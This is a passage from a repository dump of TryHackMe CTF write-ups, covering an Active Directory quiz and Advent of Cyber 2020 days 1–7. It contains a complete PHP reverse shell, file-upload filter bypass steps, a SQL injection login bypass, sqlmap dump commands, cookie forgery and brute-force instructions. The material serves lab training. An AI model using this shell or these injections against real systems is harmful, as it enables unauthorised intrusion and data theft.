Repository: edoardottt/tryhackme-ctf
Branch: main
Commit: c5850cb9bf83
Files: 230
Total size: 878.7 KB

Directory structure:
gitextract_yp03w5iw/

├── .github/
│   ├── FUNDING.yml
│   ├── ISSUE_TEMPLATE/
│   │   └── bug_report.md
│   └── auto_assign.yml
├── Active-Directory-Basics/
│   └── README.md
├── Advent-of-Cyber-2020/
│   ├── Day-01-A_Christmas_Crisis/
│   │   └── README.md
│   ├── Day-02-The_Elf_Strikes_Back!/
│   │   ├── README.md
│   │   └── reverse.jpeg.php
│   ├── Day-03-Christmas_Chaos/
│   │   └── README.md
│   ├── Day-04-Santa's_watching/
│   │   ├── README.md
│   │   └── create_list.py
│   ├── Day-05-Someone_stole_Santa's_gift_list!/
│   │   └── README.md
│   ├── Day-06-Be_careful_with_what_you_wish_on_a_Christmas_night/
│   │   └── README.md
│   ├── Day-07-The_Grinch_Really_Did_Steal_Christmas/
│   │   ├── %2f
│   │   ├── README.md
│   │   ├── elf_mcskidy_wishlist.txt
│   │   ├── pcap1.pcap
│   │   ├── pcap2.pcap
│   │   └── pcap3.pcap
│   ├── Day-08-What's_Under_the_Christmas_Tree?/
│   │   └── README.md
│   ├── Day-09-Anyone_can_be_Santa!/
│   │   ├── README.md
│   │   ├── backup.sh
│   │   ├── old_backup.sh
│   │   └── shoppinglist.txt
│   ├── Day-10-Dont-be-sElfish/
│   │   ├── README.md
│   │   └── note_from_mcskidy.txt
│   ├── Day-11-The_Rogue_Gnome/
│   │   ├── LinEnum.sh
│   │   └── README.md
│   ├── Day-12-Ready,_set,_elf./
│   │   └── README.md
│   ├── Day-13-Coal_for_Christmas/
│   │   ├── README.md
│   │   └── dirty.c
│   ├── Day-14-Where's Rudolph?/
│   │   └── README.md
│   ├── Day-15-There's a Python in my stocking!/
│   │   └── README.md
│   ├── Day-16-Help! Where is Santa?/
│   │   ├── README.md
│   │   └── api_fuzzer.py
│   ├── Day-17-ReverseELFneering/
│   │   └── README.md
│   ├── Day-18-The_Bits_of_Christmas/
│   │   └── README.md
│   ├── Day-19-The_Naughty_or_Nice_List/
│   │   └── README.md
│   ├── Day-20-PowershELlF_to_the_rescue/
│   │   └── README.md
│   ├── Day-21-Time_for_some_ELForensics/
│   │   └── README.md
│   ├── Day-22-Elf_McEager_becomes_CyberElf/
│   │   └── README.md
│   ├── Day-23-The_Grinch_strikes_again!/
│   │   └── README.md
│   ├── Day-24-The_Trial_Before_Christmas/
│   │   └── README.md
│   └── README.md
├── Advent-of-Cyber-2021/
│   ├── Day-01-Save_The_Gifts/
│   │   └── README.md
│   ├── Day-02-Elf_HR_Problems/
│   │   └── README.md
│   ├── Day-03-Christmas_Blackout/
│   │   └── README.md
│   ├── Day-04-Santas_Running_Behind/
│   │   └── README.md
│   ├── Day-05-Pesky_Elf_Forum/
│   │   └── README.md
│   ├── Day-06-Patch_Management_Is_Hard/
│   │   └── README.md
│   ├── Day-07-Migration_Without_Security/
│   │   └── README.md
│   ├── Day-08-Santas_Bag_of_Toys/
│   │   └── README.md
│   ├── Day-09-Where_Is_All_This_Data_Going/
│   │   ├── AoC3.pcap
│   │   └── README.md
│   ├── Day-10-Offensive_Is_The_Best_Defence/
│   │   └── README.md
│   ├── Day-11-Where_Are_The_Reindeers/
│   │   └── README.md
│   ├── Day-12-Sharing_Without_Caring/
│   │   └── README.md
│   ├── Day-13-They_Lost_The_Plan/
│   │   └── README.md
│   ├── Day-14-Dev(Insecure)Ops/
│   │   └── README.md
│   ├── Day-15-The_Grinchs_day_off/
│   │   └── README.md
│   ├── Day-16-Ransomware_Madness/
│   │   └── README.md
│   ├── Day-17-Elf_Leaks/
│   │   └── README.md
│   ├── Day-18-Playing_With_Containers/
│   │   └── README.md
│   ├── Day-19-Something_Phishy_Is_Going_On/
│   │   └── README.md
│   ├── Day-20-What_s_the_Worst_That_Could_Happen/
│   │   └── README.md
│   ├── Day-21-Needles_In_Computer_Stacks/
│   │   └── README.md
│   ├── Day-22-How_It_Happened/
│   │   └── README.md
│   ├── Day-23-PowershELlF_Magic/
│   │   └── README.md
│   ├── Day-24-Learning_From_The_Grinch/
│   │   └── README.md
│   └── README.md
├── Agent-Sudo/
│   ├── README.md
│   ├── To_agentJ.txt
│   ├── _cutie.png.extracted/
│   │   ├── 365
│   │   ├── 365.zlib
│   │   ├── To_agentR.txt
│   │   └── zip.hash
│   └── message.txt
├── Anonymous/
│   └── README.md
├── Attacking-Kerberos/
│   └── README.md
├── Attacktive-Directory/
│   └── README.md
├── Authenticate/
│   └── README.md
├── Avengers-Blog/
│   └── README.md
├── Baron-Samedit/
│   └── README.md
├── Bash-Scripting/
│   └── README.md
├── Bebop/
│   └── README.md
├── Bolt/
│   └── README.md
├── Bounty-Hacker/
│   ├── README.md
│   ├── locks.txt
│   └── task.txt
├── Brooklyn-Nine-Nine/
│   └── README.md
├── Brute-It/
│   └── README.md
├── Burp-Suite/
│   └── README.md
├── CC:-Radare2/
│   └── README.md
├── CTF-collection-Vol.1/
│   └── README.md
├── Chill-Hack/
│   └── README.md
├── Common-Linux-Privesc/
│   └── README.md
├── Cross-site-Scripting/
│   └── README.md
├── Cyborg/
│   └── README.md
├── Easy-Peasy/
│   ├── README.md
│   ├── easypeasy.txt
│   ├── hash.txt
│   └── secrettext.txt
├── Encryption-Crypto-101/
│   └── README.md
├── Erit-Securus-I/
│   └── README.md
├── Game-Zone/
│   └── README.md
├── GamingServer/
│   └── README.md
├── Geolocating-Images/
│   └── README.md
├── Getting-Started/
│   └── README.md
├── GoldenEye/
│   └── README.md
├── Gotta-Catch'em-All/
│   └── README.md
├── Hacking-with-Powershell/
│   └── README.md
├── Hardening-Basics-Part-1/
│   └── README.md
├── Hardening-Basics-Part-2/
│   └── README.md
├── Hashing-Crypto_101/
│   └── README.md
├── HeartBleed/
│   └── README.md
├── Intro-PoC-Scripting/
│   └── README.md
├── Intro-to-Python/
│   ├── README.md
│   └── decode.py
├── Intro-to-Windows/
│   └── README.md
├── Introduction-to-Django/
│   └── README.md
├── Introduction-to-Flask/
│   └── README.md
├── Introduction-to-OWASP-ZAP/
│   └── README.md
├── Introductory-Networking/
│   └── README.md
├── JavaScript-Basics/
│   ├── README.md
│   └── sort.js
├── John-The-Ripper/
│   └── README.md
├── Jurassic-Park/
│   └── README.md
├── LFI/
│   └── README.md
├── LFI-Basics/
│   └── README.md
├── LICENSE
├── LazyAdmin/
│   ├── README.md
│   ├── hash.txt
│   ├── mysql_bakup_20191129023059-1.5.1.sql
│   └── rshell.php
├── Linux-Challenges/
│   └── README.md
├── Linux-Fundamentals/
│   ├── Linux-Fundamentals-Part-1/
│   │   └── README.md
│   ├── Linux-Fundamentals-Part-2/
│   │   └── README.md
│   └── Linux-Fundamentals-Part-3/
│       └── README.md
├── Linux-Strength-Training/
│   └── README.md
├── Linux:-Local-Enumeration/
│   └── README.md
├── MAL:-REMnux-The_Redux/
│   └── README.md
├── NIS-Linux_Part_I/
│   └── README.md
├── Nessus/
│   └── README.md
├── Network-Services/
│   └── README.md
├── Network-Services-2/
│   └── README.md
├── Networking/
│   └── README.md
├── Ninja-Skills/
│   └── README.md
├── Nmap/
│   └── README.md
├── OWASP-Juice-Shop/
│   ├── README.md
│   └── ftp/
│       ├── acquisitions.md
│       ├── announcement_encrypted.md
│       ├── coupons_2013.md.bak%00..md
│       ├── eastere.gg%00.md
│       ├── encrypt.pyc%00.md
│       ├── incident-support.kdbx
│       ├── legal.md
│       ├── package.json.bak%00.md
│       ├── quarantine/
│       │   ├── juicy_malware_linux_amd_64.url
│       │   ├── juicy_malware_linux_arm_64.url
│       │   ├── juicy_malware_macos_64.url
│       │   └── juicy_malware_windows_64.exe.url
│       └── suspicious_errors.yml%00.md
├── OWASP-Top-10/
│   ├── 47887.py
│   ├── 48973.txt
│   ├── README.md
│   ├── login-logs.txt
│   └── rce.py
├── Overpass/
│   ├── README.md
│   └── downloads/
│       └── src/
│           └── buildscript.sh
├── Overpass2-Hacked/
│   ├── README.md
│   ├── fasttrack.txt
│   └── overpass2.pcapng
├── Persistence/
│   └── README.md
├── Pickle-Rick/
│   ├── README.md
│   └── reverse-shell.sh
├── Post-Exploitation-Basics/
│   └── README.md
├── README.md
├── Regular-expressions/
│   └── README.md
├── Res/
│   └── README.md
├── RootMe/
│   ├── README.md
│   └── reverse-shell.php5
├── SSRF/
│   └── README.md
├── Searchlight-IMINT/
│   └── README.md
├── Skynet/
│   └── README.md
├── Starting-Out-In-Cyber-Sec/
│   └── README.md
├── Startup/
│   ├── README.md
│   ├── notice.txt
│   └── suspicious.pcapng
├── Steel-Mountain/
│   └── README.md
├── Sublist3r/
│   ├── README.md
│   └── sub-output-nbc.txt
├── The-Cod-Caper/
│   └── README.md
├── The-find-command/
│   └── README.md
├── Toolbox-Vim/
│   └── README.md
├── ToolsRus/
│   └── README.md
├── Tor/
│   └── README.md
├── Upload-Vulnerabilities/
│   └── README.md
├── Web-Scanning/
│   └── README.md
├── Wgel-CTF/
│   └── README.md
├── What-the-Shell?/
│   └── README.md
├── Windows-PrivEsc/
│   └── README.md
├── Wireshark-101/
│   └── README.md
├── XXE/
│   └── README.md
├── Year-of-the-Rabbit/
│   └── README.md
├── ZTH:-Obscure-Web-Vulns/
│   └── README.md
├── ZTH:-Web_2/
│   └── README.md
├── Zero-Logon/
│   └── README.md
├── cc-pentesting/
│   └── README.md
├── crack-the-hash/
│   ├── hash1_4.txt
│   ├── hash2_1.txt
│   ├── hash2_2.txt
│   └── hash2_3.txt
├── iOS-Forensics/
│   └── README.md
├── ignite/
│   ├── 47138.py
│   ├── fuel-cms-exploit.py
│   └── revshell.php
├── kenobi/
│   ├── id_rsa
│   └── log.txt
├── lianyu/
│   ├── exiftool_Queens_Gambit-output.txt
│   ├── exiftool_aa-output.txt
│   ├── exiftool_leave-me-alone-output.txt
│   ├── exploit
│   ├── exploit.c
│   ├── exploit.c.save
│   ├── gobuster-output.txt
│   ├── gobuster-output2.txt
│   ├── gobuster-output3.txt
│   ├── nmap-output.txt
│   └── ss/
│       ├── passwd.txt
│       └── shado
└── tomghost/
    └── README.md

================================================
FILE CONTENTS
================================================

================================================
FILE: .github/FUNDING.yml
================================================
github: edoardottt
liberapay: edoardottt
patreon: edoardottt
ko_fi: edoardottt
open_collective: edoardottt
custom: "https://www.paypal.me/edoardottt"


================================================
FILE: .github/ISSUE_TEMPLATE/bug_report.md
================================================
---
name: Bug report
about: Create a report to help us improve
title: ''
labels: ''
assignees: ''

---




================================================
FILE: .github/auto_assign.yml
================================================
# Set to true to add reviewers to pull requests
addReviewers: true

# A list of reviewers to be added to pull requests (GitHub user name)
reviewers: 
  - edoardottt

# A list of keywords to be skipped the process that add reviewers if pull requests include it 
skipKeywords:
  - wip

# A number of reviewers added to the pull request
# Set 0 to add all the reviewers (default: 0)
numberOfReviewers: 0


================================================
FILE: Active-Directory-Basics/README.md
================================================
# Active Directory Basics

- I understand what Active Directory is and why it is used.

	  no answer needed

- What database does the AD DS contain?

	- `NTDS.dit`

- Where is the NTDS.dit stored?

	- `%SystemRoot%\NTDS`

- What type of machine can be a domain controller?

	- `Windows server`

- What is the term for a hierarchy of domains in a network?

	- `tree`

- What is the term for the rules for object creation?

	- `Domain schema`

- What is the term for containers for groups, computers, users, printers, and other OUs?

	- `Organization units`

- Which type of groups specify user permissions?

	- `Security groups`

- Which group contains all workstations and servers joined to the domain?

	- `Domain computers`

- Which group can publish certificates to the directory?

	- `Cert publisher`

- Which user can make changes to a local machine but not to a domain controller?

	- `Local administrators`

- Which group has their passwords replicated to read-only domain controllers?

	- `Allowed RODC Password Replication Group`

- What type of trust flows from a trusting domain to a trusted domain?

	- `Directional`

- What type of trusts expands to include other trusted domains?

	- `Transitive`

- What type of authentication uses tickets?

	- `Kerberos`

- What domain service can create, validate, and revoke public key certificates?

	- `Certificate Services`

- What is the Azure AD equivalent of LDAP?

	- `Rest apis`

- What is the Azure AD equivalent of Domains and Forests?

	- `Tenants`

- What is the Windows Server AD equivalent of Guests?

	- `Trusts`

- Deploy the machine

	  no answer needed

- What is the name of the Windows 10 operating system?
 
	- `Get-NetComputer -fulldata | select operatingsystem`
	- `*********** ** ********* **********`

- What is the second "Admin" name?

	- `Get-NetUser | select cn`
	- `******`

- Which group has a capital “V” in the group name?

	- `net localgroup`
	- `Hyper-V Administrators`

- When was the password last set for the SQLService user?

	- `Get-ADUser -identity SQLService -properties *`
	- `5/**/2020 *:**:** PM`

- I understand the basics of Active Directory

	  no answer needed




================================================
FILE: Advent-of-Cyber-2020/Day-01-A_Christmas_Crisis/README.md
================================================
# Day 1 - A Christmas Crisis

- **Deploy your AttackBox (the blue "Start AttackBox" button)** and the tasks machine (green button on this task) if you haven't already. Once both have deployed, open FireFox on the AttackBox and copy/paste the machines IP into the browser search bar.

		no answer needed

- Register for an account, and then login.
What is the name of the cookie used for authentication?

	- Go into a browser (I suggest you Chrome or Firefox) and fire up browser developers tools (F12). Go into the storage tab and select cookies on the left. `auth`.

- In what format is the value of this cookie encoded?

	- `hexadecimal`

- Having decoded the cookie, what format is the data stored in?

	- `json`

- Figure out how to bypass the authentication.
What is the value of Santa's cookie?

	- Decode your cookie value from hexadecimal to Text. I used [this](https://cryptii.com/pipes/hex-decoder). Then change your username to `santa`. You should have something like: `************************************************************************************************d65223a2253616e7461227d`
	- Now, if you change the previous cookie with this new one and refresh the page you will see some changes...

- Now that you are the santa user, you can re-activate the assembly line!
What is the flag you're given when the line is fully active?

	- `THM{********************************}`

## see you...


================================================
FILE: Advent-of-Cyber-2020/Day-02-The_Elf_Strikes_Back!/README.md
================================================
# Day 2 - The Elf Strikes Back!

- What string of text needs added to the URL to get access to the upload page?

	- `?id=YOUR-ID-HERE`

- What type of file is accepted by the site?

	- Open the browser and check the page source code. You will find this string: `<input type=file id="chooseFile" accept=".jpeg,.jpg,.png">`
	- `image`

- Bypass the filter and upload a reverse shell.
In which directory are the uploaded files stored?

	- Change the ip in the file reverse.jpeg.php with your ip (in the vpn...so tun0) and upload that file.

	- `/uploads/`

- Activate your reverse shell and catch it in a netcat listener!

	- `nc -lvnp 1234`

	- Go to `http://<TARGET_IP>/uploads/` and click on reverse.jpeg.php

	- You should see a shell.

- What is the flag in /var/www/flag.txt?

	- `cat /var/www/flag.txt`

	- `THM{**********************************}`

## see you ...


================================================
FILE: Advent-of-Cyber-2020/Day-02-The_Elf_Strikes_Back!/reverse.jpeg.php
================================================
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 


================================================
FILE: Advent-of-Cyber-2020/Day-03-Christmas_Chaos/README.md
================================================
# Day 3 - Christmas Chaos

- Deploy your AttackBox (the blue "Start AttackBox" button) and the tasks machine (green button on this task) if you haven't already. Once both have deployed, open FireFox on the AttackBox and copy/paste the machines IP (<TARGET_IP>) into the browser search bar.

	  no answer needed

	You should see something this login page:

	![login](https://github.com/edoardottt/tryhackme-ctf/blob/main/Advent-of-Cyber-2020/Day-03-Christmas_Chaos/login.png)

- Use BurpSuite to bruteforce the login form.  Use the following lists for the default credentials:

	| Username | Password |
	|---|---|
	| root | root |
	| admin | password |
	| user | 12345 |

	Use the correct credentials to log in to the Santa Sleigh Tracker app. Don't forget to turn off Foxyproxy once BurpSuite has finished the attack.

	- First of all make sure you're under proxy. If not, follow the instructions above (on the CTF page) to enable it if you're using AttackBox. If not, add FoxyProxy to the extensions, then create a record with options: name: `Burp` or whatever you like; Proxy type: `HTTP`; Proxy IP: `127.0.0.1`; Port: `8080`. Then save and enable it.

	- Open BurpSuite and perform a login (with random user and pass) request with the Browser.

	- On the proxy tab of BurpSuite you should see a new request captured. Something like this:
		
		```POST /login HTTP/1.1
		Host: <TARGET_IP>
		User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
		Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
		Accept-Language: en-US,en;q=0.5
		Accept-Encoding: gzip, deflate
		Content-Type: application/x-www-form-urlencoded
		Content-Length: 31
		Origin: http://<TARGET_IP>
		Connection: close
		Referer: http://<TARGET_IP>/
		Upgrade-Insecure-Requests: 1

		username=<USERNAME>&password=<PASSWORD>
		```

	- Right click on it and click `send to Intruder`.

	-  Go to Intruder tab and then on position sub-tab.

	- Change the attack type from `Sniper` to `Cluster Bomb`.
	
	- Make sure the <USERNAME> and the <PASSWORD> are selected with these symbols `username=§<USERNAME>§&password=§<PASSWORD>§`. If not, highlight them with the cursor and click on `Add §`.
	
	- Then switch to Payloads sub-tab and set all the payloads. We have two payloads: username and password, respectively 1 and 2. So, for instance, to set the list of possible payloads for the username, the option `Payload set` will be set to `1` and the we add to the list of payloads our three (just an example, in real we can perform thousands of requests) items. Same for password.

	- Start the attack.

	- You can see one of the result rows has different length in respect to the others... Let's try with that login credentials!

	- Turn off proxy with FoxyProxy
	
	- It works!

	- `THM{********************************}`

## see you ...


================================================
FILE: Advent-of-Cyber-2020/Day-04-Santa's_watching/README.md
================================================
# Day 4 - Santa's watching

Our malicious, despicable, vile, cruel, contemptuous, evil hacker has defaced Elf's forums and completely removed the login page! However, we may still have access to the API. The sysadmin also told us that the API creates logs using dates with a format of **YYYYMMDD**.

Recommended list: [big.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/big.txt)

- Deploy your AttackBox (the blue "Start AttackBox" button) and the tasks machine (green button on this task) if you haven't already. Once both have deployed, open FireFox on the AttackBox and copy/paste the machines IP (10.10.135.56) into the browser search bar.

	  no answer needed
	
	If you navigate with your browser to the <TARGET_IP> you should see this page:


	![site](https://github.com/edoardottt/tryhackme-ctf/blob/main/Advent-of-Cyber-2020/Day-04-Santa's_watching/site.png)
	
- Given the URL "http://shibes.xyz/api.php", what would the entire wfuzz command look like to query the "breed" parameter using the wordlist "big.txt" (assume that "big.txt" is in your current directory)
**Note: For legal reasons, do not actually run this command as the site in question has not consented to being fuzzed!**

	- `wfuzz -c -z file,big.txt http://shibes.xyz/api.php?breed=FUZZ`

- Use GoBuster (against the target you deployed -- not the shibes.xyz domain) to find the API directory. What file is there?

	- `gobuster dir -u <TARGET_IP> -w big.txt`
	- You will find a directory and the a php file.

- Fuzz the date parameter on the file you found in the API directory. What is the flag displayed in the correct post?

	- Execute the python file with `python3 create_list.py`. It will create a list for you with format `YYYYMMDD`.
	- `wfuzz -c -z file,YYYYMMDD-list.txt -d "date=FUZZ" --hw 0 http://<TARGET_IP>/api/site-log.php`
	- Executing this command, it will try to fuzz the date parameter, and I've inserted the --hw parameter set to 0 because I tried few times and I saw the incorrect answers contains no words.
	- The only respone you get is from one word. Just append that word, let's say is YYYYMMDD. Go to browser and query `http://<TARGET_IP>/api/site-log.php?date=YYYYMMDD`.
	- `THM{********}`

# see you ...


================================================
FILE: Advent-of-Cyber-2020/Day-04-Santa's_watching/create_list.py
================================================
#!/usr/bin/python3
'''
@author edoardottt
'''
starting_year = 2010
current_year = 2020

def pad_number(inp, length):
    if len(str(inp))==length: return str(inp)
    return (length - len(str(inp))) * "0" + str(inp)

with open("YYYYMMDD-list.txt","w+") as f:
    for y in range(starting_year,current_year + 1):
        for m in range(1, 13):
            for d in range(1,32):
                f.write(pad_number(y,4) + pad_number(m,2) + pad_number(d,2) + "\n")



================================================
FILE: Advent-of-Cyber-2020/Day-05-Someone_stole_Santa's_gift_list!/README.md
================================================
# Day 5 - Someone stole Santa's gift list!

- Without using directory brute forcing, what's Santa's secret login panel?

	- You don't have to use a directory fuzzer because you will not find a list with this word.
	- `santapanel`
	
	You will see this page:
	![santapanel](https://github.com/edoardottt/tryhackme-ctf/blob/main/Advent-of-Cyber-2020/Day-05-Someone_stole_Santa's_gift_list!/santapanel.png)
	
- Visit Santa's secret login panel and bypass the login using SQLi

	  no answer needed
	
	- Just enter in the username field `' OR true --`

- How many entries are there in the gift database?

	- `(' OR true --`
	- `22`

- What did Paul ask for?

	- `github ownership`

- What is the flag?

	- You have to enable the Burp option with FoxyProxy.
	- Then, open BurpSuie and perform a single request with the text field.
	- You will see BurpSuite opened with a http request. Send to repeater and save the item as shown in the explaining part previous the ctf.
	- Then start sqlmap with `sqlmap -r request.txt --tamper=space2comment --dump-all --dbms sqlite` taking request.txt as the saved file with BurpSuite.
	- (If sqlmap will ask you something, you have to try the largest attack you can, so try to perform all the tries you can; choosing y or n when it asks you).
	- `thmfox{***_*_****_***_*********_**_***}`

- What is the admin password?

	- `****************`

# see you ...


================================================
FILE: Advent-of-Cyber-2020/Day-06-Be_careful_with_what_you_wish_on_a_Christmas_night/README.md
================================================
# Day 6 - Be careful with what you wish on a Christmas night

- Deploy your AttackBox (the blue "Start AttackBox" button) and the tasks machine (green button on this task) if you haven't already. Once both have deployed, open Firefox on the AttackBox and copy/paste the machines IP (http://<TARGET_IP>:5000) into the browser search bar (the webserver is running on port 5000, so make sure this is included in your web requests).

	  no answer needed
	
	![santasportal](https://github.com/edoardottt/tryhackme-ctf/blob/main/Advent-of-Cyber-2020/Day-06-Be_careful_with_what_you_wish_on_a_Christmas_night/santasportal.png)

- What vulnerability type was used to exploit the application?

	- `stored crosssite scripting`

- What query string can be abused to craft a reflected XSS?

	- If you query one example on the first search bar, you will see there's a new char appended to URL.
	- `q`

- Launch the OWASP ZAP Application

	  no answer needed

- Run a ZAP (zaproxy) automated scan on the target. How many alerts does it display?

	- `5`

- How many types of XSS are there in the scan?

	- `2`

- Explore the XSS alerts that ZAP has identified, are you able to make an alert appear on the "Make a wish" website?

	  no answer needed

## see you ...


================================================
FILE: Advent-of-Cyber-2020/Day-07-The_Grinch_Really_Did_Steal_Christmas/%2f
================================================
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
<title>TBFC&#39;s Internal Blog</title>


  



<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link
  rel="alternate"
  type="application/rss+xml"
  href="http://tbfc.blog/index.xml"
  title="TBFC&#39;s Internal Blog"
/>

<link rel="stylesheet" href="http://tbfc.blog/fontawesome/css/all.min.css" />

<link
  id="dark-mode-theme"
  rel="stylesheet"
  href="http://tbfc.blog/css/dark.css"
/>

<script>
  var darkTheme = document.getElementById('dark-mode-theme')
  var storedTheme = localStorage.getItem('dark-mode-storage')
  if (storedTheme === 'dark') {
    darkTheme.disabled = false
  } else if (storedTheme === 'light') {
    darkTheme.disabled = true
  }
</script>

<script src="http://tbfc.blog/js/bundle.js"></script>
<script src="http://tbfc.blog/js/instantpage.min.js" type="module" defer></script>
<meta name="generator" content="Hugo 0.78.2" />
  </head>
  <body>
    
  
    
  
  



  <header>
    <nav class="navbar">
  <div class="nav">
    
      <a href="http://tbfc.blog/" class="nav-logo">
        <img
          src="http://tbfc.blog/images/icon.png"
          width="50"
          height="50"
          alt="Logo"
        />
      </a>
    

    <ul class="nav-links">
      
        
          <li>
            <a href="/tags" id="Tags"
              ><em class="fas fa-tag fa-lg"></em
            ></a>
          </li>
          
      
        
          <li>
            <a href="/categories" id="Category"
              ><em class="fas fa-folder-open fa-lg"></em
            ></a>
          </li>
          
      
        
          <li>
            <a href="/search" id="Search"
              ><em class="fas fa-search fa-lg"></em
            ></a>
          </li>
          
      
    </ul>
  </div>
</nav>

    <div class="intro-header">
      <div class="container">
        <div class="page-heading">
          
            <h1>
              TBFC&#39;s Internal Blog
            </h1>
          
          
        </div>
      </div>
    </div>
  </header>
  

    
  <div class="container" role="main">
    <div class="posts-list">
      
        
        

      
        <article class="post-preview">
  <a href="http://tbfc.blog/posts/reindeer-of-the-week/">
    <h2 class="post-title">Reindeer of the Week</h2>
  </a>
  <div class="post-entry">
    
  </div>

  <div class="postmeta">
    <span class="meta-post">
  <em class="fa fa-calendar-alt"></em
  >&nbsp;Nov 25, 2020
  
</span>

  </div>
</article>

      
        <article class="post-preview">
  <a href="http://tbfc.blog/posts/meet-the-team/">
    <h2 class="post-title">Meet the Team</h2>
  </a>
  <div class="post-entry">
    
  </div>

  <div class="postmeta">
    <span class="meta-post">
  <em class="fa fa-calendar-alt"></em
  >&nbsp;Nov 25, 2020
  
</span>

  </div>
</article>

      
        <article class="post-preview">
  <a href="http://tbfc.blog/posts/recruitment-drive/">
    <h2 class="post-title">Recruitment Drive</h2>
  </a>
  <div class="post-entry">
    
      <p>Hey fellow Elves! We&rsquo;re currently recruiting for the positions listed below. As always, please sned your reccomendations to your workshop manager - any successful referer will receieve a $150 bonus in their next pay packet.
1x HR Manager: We are seeking a new Elf McKaren. All applications must have 3 years prior experience in a similar role and be able to work under crunch time.
4x Stocking Fillers Our dispatch team is looking for new fresh-faces to bolster the ranks of fellow stocking fillers.</p>
      <a href="http://tbfc.blog/posts/recruitment-drive/" class="post-read-more"
        >Read More</a
      >
    
  </div>

  <div class="postmeta">
    <span class="meta-post">
  <em class="fa fa-calendar-alt"></em
  >&nbsp;Nov 25, 2020
  
</span>

  </div>
</article>

      
    </div>
    
  </div>

    <footer>
  

  <div class="container">
    <p class="credits copyright">
      <a href="http://tbfc.blog/about">Elf McEager</a>
      &nbsp;&copy;
      2020
      
        &nbsp;/&nbsp;
        <a href="http://tbfc.blog/">TBFC&#39;s Internal Blog</a>
      
